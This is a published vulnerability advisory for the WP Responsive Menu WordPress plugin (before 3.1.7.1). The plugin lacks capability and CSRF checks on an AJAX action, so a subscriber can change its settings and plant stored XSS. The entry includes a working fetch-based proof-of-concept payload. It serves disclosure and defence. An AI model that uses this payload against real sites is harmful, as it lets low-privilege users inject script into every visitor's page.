WordPress Plugin Vulnerabilities

WP Responsive Menu < 3.1.7.1 - Subscriber+ Settings Update to Stored XSS

Description

The plugin does not have capability and CSRF checks in the wpr_live_update AJAX action, as well as do not sanitise and escape some of the data submitted. As a result, any authenticated, such as subscriber could update the plugin's settings and perform Cross-Site Scripting attacks against all visitor and users on the frontend

Proof of Concept

fetch("https://example.com/wp-admin/admin-ajax.php", {
    "headers": {
        "content-type": "application/x-www-form-urlencoded",
    },
    "body": "action=wpr_live_update&wprmenu_options[enabled]=1&wprmenu_options[position]=\"><img src onerror=alert(/XSS/)>",
    "method": "POST",
})
.then(response => response.text())
.then(function(data) {
    console.log(data);

    fetch("https://example.com/wp-admin/admin-ajax.php", {
        "headers": {
            "content-type": "application/x-www-form-urlencoded",
        },
        "body": "action=wpr_get_transient_from_data",
        "method": "POST",
    });
});

The XSS will be triggered in all frontend pages

Affects Plugins

Fixed in 3.1.7.1

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-01-26 (about 2 years ago)
Added
2022-01-26 (about 2 years ago)
Last Updated
2022-04-09 (about 2 years ago)

Other